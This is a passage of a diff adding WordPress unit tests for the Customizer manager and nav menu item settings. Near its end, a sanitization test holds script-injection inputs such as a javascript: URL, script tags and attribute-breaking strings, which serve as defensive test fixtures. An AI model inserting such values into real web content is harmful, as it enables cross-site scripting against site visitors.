+		$manager = new WP_Customize_Manager();
+		$this->assertInstanceOf( 'WP_Customize_Nav_Menus', $manager->nav_menus );
+		$this->assertEmpty( $manager->widgets );
+		remove_all_filters( 'customize_loaded_components' );
+
+		add_filter( 'customize_loaded_components', '__return_empty_array' );
+		$manager = new WP_Customize_Manager();
+		$this->assertEmpty( $manager->widgets );
+		$this->assertEmpty( $manager->nav_menus );
+		remove_all_filters( 'customize_loaded_components' );
+	}
+
+	/**
+	 * @see Tests_WP_Customize_Manager::test_customize_loaded_components_filter()
+	 *
+	 * @param array                $components         Components.
+	 * @param WP_Customize_Manager $customize_manager  Manager.
+	 *
+	 * @return array Components.
+	 */
+	function return_array_containing_widgets( $components, $customize_manager ) {
+		$this->assertInternalType( 'array', $components );
+		$this->assertContains( 'widgets', $components );
+		$this->assertContains( 'nav_menus', $components );
+		$this->assertInternalType( 'array', $components );
+		$this->assertInstanceOf( 'WP_Customize_Manager', $customize_manager );
+		return array( 'widgets' );
+	}
+
+	/**
+	 * @see Tests_WP_Customize_Manager::test_customize_loaded_components_filter()
+	 *
+	 * @param array                $components         Components.
+	 * @param WP_Customize_Manager $customize_manager  Manager.
+	 *
+	 * @return array Components.
+	 */
+	function return_array_containing_nav_menus( $components, $customize_manager ) {
+		$this->assertInternalType( 'array', $components );
+		$this->assertContains( 'widgets', $components );
+		$this->assertContains( 'nav_menus', $components );
+		$this->assertInternalType( 'array', $components );
+		$this->assertInstanceOf( 'WP_Customize_Manager', $customize_manager );
+		return array( 'nav_menus' );
+	}
+
+	/**
+	 * @ticket 30225
+	 * @ticket 34594
+	 */
+	function test_prepare_controls_stable_sorting() {
+		$manager = new WP_Customize_Manager();
+		$manager->register_controls();
+		$section_id = 'foo-section';
+		wp_set_current_user( self::$admin_user_id );
+		$manager->add_section( $section_id, array(
+			'title'      => 'Section',
+			'priority'   => 1,
+		) );
+
+		$added_control_ids = array();
+		$count = 9;
+		for ( $i = 0; $i < $count; $i += 1 ) {
+			$id = 'sort-test-' . $i;
+			$added_control_ids[] = $id;
+			$manager->add_setting( $id );
+			$control = new WP_Customize_Control( $manager, $id, array(
+				'section' => $section_id,
+				'priority' => 1,
+				'setting' => $id,
+			) );
+			$manager->add_control( $control );
+		}
+
+		$manager->prepare_controls();
+
+		$sorted_control_ids = wp_list_pluck( $manager->get_section( $section_id )->controls, 'id' );
+		$this->assertEquals( $added_control_ids, $sorted_control_ids );
+	}
+
+	/**
+	 * @ticket 34596
+	 */
+	function test_add_section_return_instance() {
+		$manager = new WP_Customize_Manager();
+		wp_set_current_user( self::$admin_user_id );
+
+		$section_id = 'foo-section';
+		$result_section = $manager->add_section( $section_id, array(
+			'title'    => 'Section',
+			'priority' => 1,
+		) );
+
+		$this->assertInstanceOf( 'WP_Customize_Section', $result_section );
+		$this->assertEquals( $section_id, $result_section->id );
+
+		$section = new WP_Customize_Section( $manager, $section_id, array(
+			'title'    => 'Section 2',
+			'priority' => 2,
+		) );
+		$result_section = $manager->add_section( $section );
+
+		$this->assertInstanceOf( 'WP_Customize_Section', $result_section );
+		$this->assertEquals( $section_id, $result_section->id );
+		$this->assertEquals( $section, $result_section );
+	}
+
+	/**
+	 * @ticket 34596
+	 */
+	function test_add_setting_return_instance() {
+		$manager = new WP_Customize_Manager();
+		wp_set_current_user( self::$admin_user_id );
+
+		$setting_id = 'foo-setting';
+		$result_setting = $manager->add_setting( $setting_id );
+
+		$this->assertInstanceOf( 'WP_Customize_Setting', $result_setting );
+		$this->assertEquals( $setting_id, $result_setting->id );
+
+		$setting = new WP_Customize_Setting( $manager, $setting_id );
+		$result_setting = $manager->add_setting( $setting );
+
+		$this->assertInstanceOf( 'WP_Customize_Setting', $result_setting );
+		$this->assertEquals( $setting, $result_setting );
+		$this->assertEquals( $setting_id, $result_setting->id );
+	}
+
+	/**
+	 * @ticket 34597
+	 */
+	function test_add_setting_honoring_dynamic() {
+		$manager = new WP_Customize_Manager();
+
+		$setting_id = 'dynamic';
+		$setting = $manager->add_setting( $setting_id );
+		$this->assertEquals( 'WP_Customize_Setting', get_class( $setting ) );
+		$this->assertObjectNotHasAttribute( 'custom', $setting );
+		$manager->remove_setting( $setting_id );
+
+		add_filter( 'customize_dynamic_setting_class', array( $this, 'return_dynamic_customize_setting_class' ), 10, 3 );
+		add_filter( 'customize_dynamic_setting_args', array( $this, 'return_dynamic_customize_setting_args' ), 10, 2 );
+		$setting = $manager->add_setting( $setting_id );
+		$this->assertEquals( 'Test_Dynamic_Customize_Setting', get_class( $setting ) );
+		$this->assertObjectHasAttribute( 'custom', $setting );
+		$this->assertEquals( 'foo', $setting->custom );
+	}
+
+	/**
+	 * Return 'Test_Dynamic_Customize_Setting' in 'customize_dynamic_setting_class.
+	 *
+	 * @param string $class Setting class.
+	 * @param array  $args  Setting args.
+	 * @param string $id    Setting ID.
+	 * @return string       Setting class.
+	 */
+	function return_dynamic_customize_setting_class( $class, $id, $args ) {
+		unset( $args );
+		if ( 0 === strpos( $id, 'dynamic' ) ) {
+			$class = 'Test_Dynamic_Customize_Setting';
+		}
+		return $class;
+	}
+
+	/**
+	 * Return 'Test_Dynamic_Customize_Setting' in 'customize_dynamic_setting_class.
+	 *
+	 * @param array  $args Setting args.
+	 * @param string $id   Setting ID.
+	 * @return string      Setting args.
+	 */
+	function return_dynamic_customize_setting_args( $args, $id ) {
+		if ( 0 === strpos( $id, 'dynamic' ) ) {
+			$args['custom'] = 'foo';
+		}
+		return $args;
+	}
+
+	/**
+	 * @ticket 34596
+	 */
+	function test_add_panel_return_instance() {
+		$manager = new WP_Customize_Manager();
+		wp_set_current_user( self::$admin_user_id );
+
+		$panel_id = 'foo-panel';
+		$result_panel = $manager->add_panel( $panel_id, array(
+			'title'    => 'Test Panel',
+			'priority' => 2,
+		) );
+
+		$this->assertInstanceOf( 'WP_Customize_Panel', $result_panel );
+		$this->assertEquals( $panel_id, $result_panel->id );
+
+		$panel = new WP_Customize_Panel( $manager, $panel_id, array(
+			'title' => 'Test Panel 2',
+		) );
+		$result_panel = $manager->add_panel( $panel );
+
+		$this->assertInstanceOf( 'WP_Customize_Panel', $result_panel );
+		$this->assertEquals( $panel, $result_panel );
+		$this->assertEquals( $panel_id, $result_panel->id );
+	}
+
+	/**
+	 * @ticket 34596
+	 */
+	function test_add_control_return_instance() {
+		$manager = new WP_Customize_Manager();
+		$section_id = 'foo-section';
+		wp_set_current_user( self::$admin_user_id );
+		$manager->add_section( $section_id, array(
+			'title'    => 'Section',
+			'priority' => 1,
+		) );
+
+		$control_id = 'foo-control';
+		$manager->add_setting( $control_id );
+
+		$result_control = $manager->add_control( $control_id, array(
+			'section'  => $section_id,
+			'priority' => 1,
+			'setting'  => $control_id,
+		) );
+		$this->assertInstanceOf( 'WP_Customize_Control', $result_control );
+		$this->assertEquals( $control_id, $result_control->id );
+
+		$control = new WP_Customize_Control( $manager, $control_id, array(
+			'section'  => $section_id,
+			'priority' => 1,
+			'setting'  => $control_id,
+		) );
+		$result_control = $manager->add_control( $control );
+
+		$this->assertInstanceOf( 'WP_Customize_Control', $result_control );
+		$this->assertEquals( $control, $result_control );
+		$this->assertEquals( $control_id, $result_control->id );
+	}
+
+
+	/**
+	 * Testing the return values both with and without filter.
+	 *
+	 * @ticket 31195
+	 */
+	function test_get_previewable_devices() {
+
+		// Setup the instance.
+		$manager = new WP_Customize_Manager();
+
+		// The default devices list.
+		$default_devices = array(
+			'desktop' => array(
+				'label'   => __( 'Enter desktop preview mode' ),
+				'default' => true,
+			),
+			'tablet'  => array(
+				'label' => __( 'Enter tablet preview mode' ),
+			),
+			'mobile'  => array(
+				'label' => __( 'Enter mobile preview mode' ),
+			),
+		);
+
+		// Control test.
+		$devices = $manager->get_previewable_devices();
+		$this->assertSame( $default_devices, $devices );
+
+		// Adding the filter.
+		add_filter( 'customize_previewable_devices', array( $this, 'filter_customize_previewable_devices' ) );
+		$devices = $manager->get_previewable_devices();
+		$this->assertSame( $this->filtered_device_list(), $devices );
+
+		// Clean up.
+		remove_filter( 'customize_previewable_devices', array( $this, 'filter_customize_previewable_devices' ) );
+	}
+
+	/**
+	 * Helper method for test_get_previewable_devices.
+	 *
+	 * @return array
+	 */
+	function filtered_device_list() {
+		return array(
+			'custom-device' => array(
+				'label' => __( 'Enter custom-device preview mode' ),
+				'default' => true,
+			),
+		);
+	}
+
+	/**
+	 * Callback for the customize_previewable_devices filter.
+	 *
+	 * @param array $devices The list of devices.
+	 *
+	 * @return array
+	 */
+	function filter_customize_previewable_devices( $devices ) {
+		return $this->filtered_device_list();
+	}
+
+	/**
+	 * @ticket 37128
+	 */
+	function test_prepare_controls_wp_list_sort_controls() {
+		wp_set_current_user( self::$admin_user_id );
+
+		$controls = array( 'foo' => 2, 'bar' => 4, 'foobar' => 3, 'key' => 1 );
+		$controls_sorted = array( 'key', 'foo', 'foobar', 'bar' );
+
+		$this->manager->add_section( 'foosection', array() );
+
+		foreach ( $controls as $control_id => $priority ) {
+			$this->manager->add_setting( $control_id );
+			$this->manager->add_control( $control_id, array(
+				'priority' => $priority,
+				'section'  => 'foosection',
+			) );
+		}
+
+		$this->manager->prepare_controls();
+
+		$result = $this->manager->controls();
+		$this->assertEquals( $controls_sorted, array_keys( $result ) );
+	}
+
+	/**
+	 * @ticket 37128
+	 */
+	function test_prepare_controls_wp_list_sort_sections() {
+		wp_set_current_user( self::$admin_user_id );
+
+		$sections = array( 'foo' => 2, 'bar' => 4, 'foobar' => 3, 'key' => 1 );
+		$sections_sorted = array( 'key', 'foo', 'foobar', 'bar' );
+
+		foreach ( $sections as $section_id => $priority ) {
+			$this->manager->add_section( $section_id, array(
+				'priority' => $priority,
+			) );
+		}
+
+		$this->manager->prepare_controls();
+
+		$result = $this->manager->sections();
+		$this->assertEquals( $sections_sorted, array_keys( $result ) );
+	}
+
+	/**
+	 * @ticket 37128
+	 */
+	function test_prepare_controls_wp_list_sort_panels() {
+		wp_set_current_user( self::$admin_user_id );
+
+		$panels = array( 'foo' => 2, 'bar' => 4, 'foobar' => 3, 'key' => 1 );
+		$panels_sorted = array( 'key', 'foo', 'foobar', 'bar' );
+
+		foreach ( $panels as $panel_id => $priority ) {
+			$this->manager->add_panel( $panel_id, array(
+				'priority' => $priority,
+			) );
+		}
+
+		$this->manager->prepare_controls();
+
+		$result = $this->manager->panels();
+		$this->assertEquals( $panels_sorted, array_keys( $result ) );
+	}
+
+	/**
+	 * Verify sanitization of external header video URL will trim the whitespaces in the beginning and end of the URL.
+	 *
+	 * @ticket 39125
+	 */
+	function test_sanitize_external_header_video_trim() {
+		$this->manager->register_controls();
+		$setting = $this->manager->get_setting( 'external_header_video' );
+		$video_url = 'https://www.youtube.com/watch?v=KiS8rZBeIO0';
+
+		$whitespaces = array(
+			' ',  // space
+			"\t", // horizontal tab
+			"\n", // line feed
+			"\r", // carriage return,
+			"\f", // form feed,
+			"\v", // vertical tab
+		);
+
+		foreach ( $whitespaces as $whitespace  ) {
+			$sanitized = $setting->sanitize( $whitespace . $video_url . $whitespace );
+			$this->assertEquals( $video_url, $sanitized );
+		}
+	}
+}
+
+require_once ABSPATH . WPINC . '/class-wp-customize-setting.php';
+
+/**
+ * Class Test_Dynamic_Customize_Setting
+ *
+ * @see Tests_WP_Customize_Manager::test_add_setting_honoring_dynamic()
+ */
+class Test_Dynamic_Customize_Setting extends WP_Customize_Setting {
+	public $type = 'dynamic';
+	public $custom;
+}
+
+/**
+ * Class Test_Setting_Without_Applying_Validate_Filter.
+ *
+ * @see Tests_WP_Customize_Manager::test_late_validate_setting_values()
+ */
+class Test_Setting_Without_Applying_Validate_Filter extends WP_Customize_Setting {
+
+	/**
+	 * Validates an input.
+	 *
+	 * @param mixed $value Value to validate.
+	 * @return true|WP_Error True if the input was validated, otherwise WP_Error.
+	 */
+	public function validate( $value ) {
+		if ( empty( $value ) ) {
+			return new WP_Error( 'empty_value', __( 'You must supply a value' ) );
+		}
+		return true;
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/customize/nav-menu-item-setting.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/customize/nav-menu-item-setting.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/customize/nav-menu-item-setting.php	(revision 56912)
@@ -0,0 +1,1131 @@
+<?php
+/**
+ * Tests WP_Customize_Nav_Menu_Item_Setting.
+ *
+ * @group customize
+ */
+class Test_WP_Customize_Nav_Menu_Item_Setting extends WP_UnitTestCase {
+
+	/**
+	 * Instance of WP_Customize_Manager which is reset for each test.
+	 *
+	 * @var WP_Customize_Manager
+	 */
+	public $wp_customize;
+
+	/**
+	 * Set up a test case.
+	 *
+	 * @see WP_UnitTestCase::setup()
+	 */
+	function setUp() {
+		parent::setUp();
+		require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+
+		global $wp_customize;
+		$this->wp_customize = new WP_Customize_Manager();
+		$wp_customize = $this->wp_customize;
+	}
+
+	/**
+	 * Delete the $wp_customize global when cleaning up scope.
+	 */
+	function clean_up_global_scope() {
+		global $wp_customize;
+		$wp_customize = null;
+		parent::clean_up_global_scope();
+	}
+
+	/**
+	 * Filter to add a custom menu item type label.
+	 *
+	 * @param object $menu_item Menu item.
+	 * @return object
+	 */
+	function filter_type_label( $menu_item ) {
+		if ( 'custom_type' === $menu_item->type ) {
+			$menu_item->type_label = 'Custom Label';
+		}
+
+		return $menu_item;
+	}
+
+	/**
+	 * Test constants and statics.
+	 */
+	function test_constants() {
+		do_action( 'customize_register', $this->wp_customize );
+		$this->assertTrue( post_type_exists( WP_Customize_Nav_Menu_Item_Setting::POST_TYPE ) );
+	}
+
+	/**
+	 * Test constructor.
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::__construct()
+	 */
+	function test_construct() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, 'nav_menu_item[123]' );
+		$this->assertEquals( 'nav_menu_item', $setting->type );
+		$this->assertEquals( 123, $setting->post_id );
+		$this->assertNull( $setting->previous_post_id );
+		$this->assertNull( $setting->update_status );
+		$this->assertNull( $setting->update_error );
+		$this->assertInternalType( 'array', $setting->default );
+
+		$default = array(
+			'object_id' => 0,
+			'object' => '',
+			'menu_item_parent' => 0,
+			'position' => 0,
+			'type' => 'custom',
+			'title' => '',
+			'url' => '',
+			'target' => '',
+			'attr_title' => '',
+			'description' => '',
+			'classes' => '',
+			'xfn' => '',
+			'status' => 'publish',
+			'original_title' => '',
+			'nav_menu_term_id' => 0,
+			'_invalid' => false,
+		);
+		$this->assertEquals( $default, $setting->default );
+
+		$exception = null;
+		try {
+			$bad_setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, 'foo_bar_baz' );
+			unset( $bad_setting );
+		} catch ( Exception $e ) {
+			$exception = $e;
+		}
+		$this->assertInstanceOf( 'Exception', $exception );
+	}
+
+	/**
+	 * Test empty constructor.
+	 */
+	function test_construct_empty_menus() {
+		do_action( 'customize_register', $this->wp_customize );
+		$_wp_customize = $this->wp_customize;
+		unset($_wp_customize->nav_menus);
+
+		$exception = null;
+		try {
+			$bad_setting = new WP_Customize_Nav_Menu_Item_Setting( $_wp_customize, 'nav_menu_item[123]' );
+			unset( $bad_setting );
+		} catch ( Exception $e ) {
+			$exception = $e;
+		}
+		$this->assertInstanceOf( 'Exception', $exception );
+	}
+
+	/**
+	 * Test constructor for placeholder (draft) menu.
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::__construct()
+	 */
+	function test_construct_placeholder() {
+		do_action( 'customize_register', $this->wp_customize );
+		$default = array(
+			'title' => 'Lorem',
+			'description' => 'ipsum',
+			'menu_item_parent' => 123,
+		);
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, 'nav_menu_item[-5]', compact( 'default' ) );
+		$this->assertEquals( -5, $setting->post_id );
+		$this->assertNull( $setting->previous_post_id );
+		$this->assertEquals( $default, $setting->default );
+	}
+
+	/**
+	 * Test value method with post.
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::value()
+	 */
+	function test_value_type_post_type() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$post_id = self::factory()->post->create( array( 'post_title' => 'Hello World' ) );
+
+		$menu_id = wp_create_nav_menu( 'Menu' );
+		$item_title = 'Greetings';
+		$item_id = wp_update_nav_menu_item( $menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'post',
+			'menu-item-object-id' => $post_id,
+			'menu-item-title' => $item_title,
+			'menu-item-status' => 'publish',
+		) );
+
+		$post = get_post( $item_id );
+		$menu_item = wp_setup_nav_menu_item( $post );
+		$this->assertEquals( $item_title, $menu_item->title );
+
+		$setting_id = "nav_menu_item[$item_id]";
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, $setting_id );
+
+		$value = $setting->value();
+		$this->assertEquals( $menu_item->title, $value['title'] );
+		$this->assertEquals( $menu_item->type, $value['type'] );
+		$this->assertEquals( $menu_item->object_id, $value['object_id'] );
+		$this->assertEquals( $menu_id, $value['nav_menu_term_id'] );
+		$this->assertEquals( 'Hello World', $value['original_title'] );
+
+		$other_menu_id = wp_create_nav_menu( 'Menu2' );
+		wp_update_nav_menu_item( $other_menu_id, $item_id, array(
+			'menu-item-title' => 'Hola',
+		) );
+		$value = $setting->value();
+		$this->assertEquals( 'Hola', $value['title'] );
+		$this->assertEquals( $other_menu_id, $value['nav_menu_term_id'] );
+	}
+
+	/**
+	 * Test value method with post without nav menu item title (label).
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::value()
+	 */
+	function test_value_type_post_type_without_label() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$original_title = 'Hello World';
+		$post_id = self::factory()->post->create( array( 'post_title' => $original_title ) );
+
+		$menu_id = wp_create_nav_menu( 'Menu' );
+		$item_id = wp_update_nav_menu_item( $menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'post',
+			'menu-item-object-id' => $post_id,
+			'menu-item-title' => '',
+			'menu-item-status' => 'publish',
+		) );
+
+		$setting_id = "nav_menu_item[$item_id]";
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, $setting_id );
+
+		$value = $setting->value();
+		$this->assertEquals( '', $value['title'] );
+		$this->assertEquals( $original_title, $value['original_title'] );
+	}
+
+	/**
+	 * Test value method with taxonomy.
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::value()
+	 */
+	function test_value_type_taxonomy() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$tax_id = self::factory()->category->create( array( 'name' => 'Salutations' ) );
+
+		$menu_id = wp_create_nav_menu( 'Menu' );
+		$item_title = 'Greetings';
+		$item_id = wp_update_nav_menu_item( $menu_id, 0, array(
+			'menu-item-type' => 'taxonomy',
+			'menu-item-object' => 'category',
+			'menu-item-object-id' => $tax_id,
+			'menu-item-title' => $item_title,
+			'menu-item-status' => 'publish',
+		) );
+
+		$post = get_post( $item_id );
+		$menu_item = wp_setup_nav_menu_item( $post );
+		$this->assertEquals( $item_title, $menu_item->title );
+
+		$setting_id = "nav_menu_item[$item_id]";
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, $setting_id );
+
+		$value = $setting->value();
+		$this->assertEquals( $menu_item->title, $value['title'] );
+		$this->assertEquals( $menu_item->type, $value['type'] );
+		$this->assertEquals( $menu_item->object_id, $value['object_id'] );
+		$this->assertEquals( $menu_id, $value['nav_menu_term_id'] );
+		$this->assertEquals( 'Salutations', $value['original_title'] );
+	}
+
+	/**
+	 * Test value method with a custom object.
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::value()
+	 */
+	function test_custom_type_label() {
+		do_action( 'customize_register', $this->wp_customize );
+		add_filter( 'wp_setup_nav_menu_item', array( $this, 'filter_type_label' ) );
+
+		$menu_id = wp_create_nav_menu( 'Menu' );
+		$item_id = wp_update_nav_menu_item( $menu_id, 0, array(
+			'menu-item-type'   => 'custom_type',
+			'menu-item-object' => 'custom_object',
+			'menu-item-title'  => 'Cool beans',
+			'menu-item-status' => 'publish',
+		) );
+
+		$post = get_post( $item_id );
+		$menu_item = wp_setup_nav_menu_item( $post );
+
+		$setting_id = "nav_menu_item[$item_id]";
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, $setting_id );
+
+		$value = $setting->value();
+		$this->assertEquals( $menu_item->type_label, 'Custom Label' );
+		$this->assertEquals( $menu_item->type_label, $value['type_label'] );
+	}
+
+	/**
+	 * Test value method returns zero for nav_menu_term_id when previewing a new menu.
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::value()
+	 */
+	function test_value_nav_menu_term_id_returns_zero() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$menu_id = -123;
+		$post_value = array(
+			'name' => 'Secondary',
+			'description' => '',
+			'parent' => 0,
+			'auto_add' => false,
+		);
+		$setting_id = "nav_menu[$menu_id]";
+		$menu = new WP_Customize_Nav_Menu_Setting( $this->wp_customize, $setting_id );
+
+		$this->wp_customize->set_post_value( $menu->id, $post_value );
+		$menu->preview();
+		$value = $menu->value();
+		$this->assertEquals( $post_value, $value );
+
+		$post_id = self::factory()->post->create( array( 'post_title' => 'Hello World' ) );
+		$item_id = wp_update_nav_menu_item( $menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'post',
+			'menu-item-object-id' => $post_id,
+			'menu-item-title' => 'Hello World',
+			'menu-item-status' => 'publish',
+		) );
+
+		$post = get_post( $item_id );
+		$menu_item = wp_setup_nav_menu_item( $post );
+
+		$setting_id = "nav_menu_item[$item_id]";
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, $setting_id );
+		$value = $setting->value();
+		$this->assertEquals( 0, $value['nav_menu_term_id'] );
+	}
+
+	/**
+	 * Test preview method for updated menu.
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::preview()
+	 */
+	function test_preview_updated() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$first_post_id = self::factory()->post->create( array( 'post_title' => 'Hello World' ) );
+		$second_post_id = self::factory()->post->create( array( 'post_title' => 'Hola Muno' ) );
+
+		$primary_menu_id = wp_create_nav_menu( 'Primary' );
+		$secondary_menu_id = wp_create_nav_menu( 'Secondary' );
+		$item_title = 'Greetings';
+		$item_id = wp_update_nav_menu_item( $primary_menu_id, 0, array(
+			'menu-item-type' => 'post_type',
+			'menu-item-object' => 'post',
+			'menu-item-object-id' => $first_post_id,
+			'menu-item-title' => $item_title,
+			'menu-item-status' => 'publish',
+		) );
+		$this->assertNotEmpty( wp_get_nav_menu_items( $primary_menu_id, array( 'post_status' => 'publish,draft' ) ) );
+
+		$post_value = array(
+			'type' => 'post_type',
+			'object' => 'post',
+			'object_id' => $second_post_id,
+			'title' => 'Saludos',
+			'status' => 'publish',
+			'nav_menu_term_id' => $secondary_menu_id,
+		);
+		$setting_id = "nav_menu_item[$item_id]";
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, $setting_id );
+		$this->wp_customize->set_post_value( $setting_id, $post_value );
+		unset( $post_value['nav_menu_term_id'] );
+		$setting->preview();
+
+		// Make sure the menu item appears in the new menu.
+		$this->assertNotContains( $item_id, wp_list_pluck( wp_get_nav_menu_items( $primary_menu_id ), 'db_id' ) );
+		$menu_items = wp_get_nav_menu_items( $secondary_menu_id );
+		$db_ids = wp_list_pluck( $menu_items, 'db_id' );
+		$this->assertContains( $item_id, $db_ids );
+		$i = array_search( $item_id, $db_ids );
+		$updated_item = $menu_items[ $i ];
+		$post_value['post_status'] = $post_value['status'];
+		unset( $post_value['status'] );
+		foreach ( $post_value as $key => $value ) {
+			$this->assertEquals( $value, $updated_item->$key, "Key $key mismatch" );
+		}
+	}
+
+	/**
+	 * Test preview method for inserted menu.
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::preview()
+	 */
+	function test_preview_inserted() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$menu_id = wp_create_nav_menu( 'Primary' );
+		$post_id = self::factory()->post->create( array( 'post_title' => 'Hello World' ) );
+		$item_ids = array();
+		for ( $i = 0; $i < 5; $i += 1 ) {
+			$item_id = wp_update_nav_menu_item( $menu_id, 0, array(
+				'menu-item-type' => 'post_type',
+				'menu-item-object' => 'post',
+				'menu-item-object-id' => $post_id,
+				'menu-item-title' => "Item $i",
+				'menu-item-status' => 'publish',
+				'menu-item-position' => $i + 1,
+			) );
+			$item_ids[] = $item_id;
+		}
+
+		$post_value = array(
+			'type' => 'post_type',
+			'object' => 'post',
+			'object_id' => $post_id,
+			'title' => 'Inserted item',
+			'status' => 'publish',
+			'nav_menu_term_id' => $menu_id,
+			'position' => count( $item_ids ) + 1,
+		);
+
+		$new_item_id = -10;
+		$setting_id = "nav_menu_item[$new_item_id]";
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, $setting_id );
+		$this->wp_customize->set_post_value( $setting_id, $post_value );
+		unset( $post_value['nav_menu_term_id'] );
+
+		$current_items = wp_get_nav_menu_items( $menu_id );
+		$setting->preview();
+		$preview_items = wp_get_nav_menu_items( $menu_id );
+		$this->assertNotEquals( count( $current_items ), count( $preview_items ) );
+
+		$last_item = array_pop( $preview_items );
+		$this->assertEquals( $new_item_id, $last_item->db_id );
+		$post_value['post_status'] = $post_value['status'];
+		unset( $post_value['status'] );
+		$post_value['menu_order'] = $post_value['position'];
+		unset( $post_value['position'] );
+		foreach ( $post_value as $key => $value ) {
+			$this->assertEquals( $value, $last_item->$key, "Mismatch for $key property." );
+		}
+	}
+
+	/**
+	 * Test preview method for deleted menu.
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::preview()
+	 */
+	function test_preview_deleted() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$menu_id = wp_create_nav_menu( 'Primary' );
+		$post_id = self::factory()->post->create( array( 'post_title' => 'Hello World' ) );
+		$item_ids = array();
+		for ( $i = 0; $i < 5; $i += 1 ) {
+			$item_id = wp_update_nav_menu_item( $menu_id, 0, array(
+				'menu-item-type' => 'post_type',
+				'menu-item-object' => 'post',
+				'menu-item-object-id' => $post_id,
+				'menu-item-title' => "Item $i",
+				'menu-item-status' => 'publish',
+				'menu-item-position' => $i + 1,
+			) );
+			$item_ids[] = $item_id;
+		}
+
+		$delete_item_id = $item_ids[2];
+		$setting_id = "nav_menu_item[$delete_item_id]";
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, $setting_id );
+		$this->wp_customize->set_post_value( $setting_id, false );
+
+		$current_items = wp_get_nav_menu_items( $menu_id );
+		$this->assertContains( $delete_item_id, wp_list_pluck( $current_items, 'db_id' ) );
+		$setting->preview();
+		$preview_items = wp_get_nav_menu_items( $menu_id );
+		$this->assertNotEquals( count( $current_items ), count( $preview_items ) );
+		$this->assertContains( $delete_item_id, wp_list_pluck( $current_items, 'db_id' ) );
+	}
+
+	/**
+	 * Test sanitize method.
+	 *
+	 * @see WP_Customize_Nav_Menu_Item_Setting::sanitize()
+	 */
+	function test_sanitize() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$menu_id = wp_create_nav_menu( 'Primary' );
+		$setting = new WP_Customize_Nav_Menu_Item_Setting( $this->wp_customize, 'nav_menu_item[123]' );
+
+		$this->assertNull( $setting->sanitize( 'not an array' ) );
+		$this->assertNull( $setting->sanitize( 123 ) );
+
+		$valid_urls = array(
+			'http://example.com/',
+			'https://foo.example.com/hello.html',
+			'mailto:nobody@example.com?subject=hi',
+			'ftp://example.com/',
+			'ftps://example.com/',
+			'news://news.server.example/example.group.this',
+			'irc://irc.freenode.net/wordpress',
+			'gopher://example.com',
+			'nntp://news.server.example/example.group.this',
+			'feed://example.com/',
+			'telnet://example.com',
+			'mms://example.com',
+			'rtsp://example.com/',
+			'svn://develop.svn.wordpress.org/trunk',
+			'tel:000-000-000',
+			'fax:000-000-000',
+			'xmpp:user@host?message',
+			'webcal://example.com',
+			'urn:org.wordpress',
+		);
+		foreach ( $valid_urls as $valid_url ) {
+			$url_setting = $setting->sanitize( array( 'url' => $valid_url ) );
+			$this->assertInternalType( 'array', $url_setting );
+			$this->assertEquals( $valid_url, $url_setting['url'] );
+		}
+
+		$invalid_urls = array(
+			'javascript:alert(1)',
+			'unknown://something.out-there',
+			'smtp://user:pass@mailserver.thing',
+		);
+		foreach ( $invalid_urls as $invalid_url ) {
+			$url_setting = $setting->sanitize( array( 'url' => $invalid_url ) );
+			$this->assertInstanceOf( 'WP_Error', $url_setting );
+			$this->assertEquals( 'invalid_url', $url_setting->get_error_code() );
+		}
+
+		$unsanitized = array(
+			'object_id' => 'bad',
+			'object' => '<b>hello</b>',
+			'menu_item_parent' => 'asdasd',
+			'position' => -123,
+			'type' => 'custom<b>',
+			'title' => '\o/ o\'o Hi<script>unfilteredHtml()</script>',
+			'url' => '', // Note the javascript: protocol is checked above and results in a hard validation error, beyond mere sanitization.
+			'target' => '" onclick="',
+			'attr_title' => '\o/ o\'o <b>bolded</b><script>unfilteredHtml()</script>',
+			'description' => '\o/ o\'o <b>Hello world</b><script>unfilteredHtml()</script>',
+			'classes' => 'hello " inject="',
+			'xfn' => 'hello " inject="',
+			'status' => 'forbidden',
+			'original_title' => 'Hi<script>unfilteredHtml()</script>',
+			'nav_menu_term_id' => 'heilo',
+			'_invalid' => false,
+		);
+
+		$expected_sanitized = array(
+			'object_id' => 0,
+			'object' => 'bhellob',
+			'menu_item_parent' => 0,
+			'position' => -123,
+			'type' => 'customb',
